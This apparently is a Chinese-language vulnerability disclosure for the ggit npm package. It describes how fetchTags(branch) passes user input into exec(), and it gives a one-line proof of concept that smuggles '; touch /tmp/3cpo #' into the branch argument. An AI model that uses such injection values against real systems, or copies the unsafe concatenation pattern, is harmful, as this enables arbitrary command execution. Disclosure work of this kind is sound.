ggit 这样描述自己:
Local promise-returning git command wrappers
资源:
我要报告 ggit npm 包中的一个命令注入漏洞。
该漏洞体现在库的 fetchTags(branch) API 中,该 API 允许用户输入指定要获取的分支,然后将此字符串与一条 git 命令拼接,并传递给不安全的 Node.js 子进程 API exec()。
[email protected] 或更早版本const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpo 处创建的新文件请参阅 CONTRIBUTING 了解为本项目做出贡献的指南。
Liran Tal